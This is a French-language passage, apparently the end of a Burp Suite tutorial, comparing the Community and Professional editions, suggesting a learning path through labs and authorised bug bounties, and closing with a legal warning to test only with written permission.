Community (gratuite): - Proxy, Repeater, Decoder, Comparer suffisants - Intruder limité (1 thread) - Pas de Scanner automatique - Parfait pour apprendre

Professional (payante): - Scanner automatique - Intruder illimité - Collaboration features - Essential pour professionnels

Progression Recommandée:

  1. Maîtriser Proxy et Repeater
  2. Apprendre Intruder
  3. Comprendre les extensions
  4. Pratiquer sur labs
  5. Tester sur bug bounties (avec autorisation)
  6. Considérer version Pro

AVERTISSEMENT LÉGAL: - Tester uniquement avec autorisation écrite - Bug bounties: respecter les scopes - Labs publics: DVWA, PortSwigger Academy - Toute attaque non autorisée est ILLÉGALE


Bon testing et recherche responsable !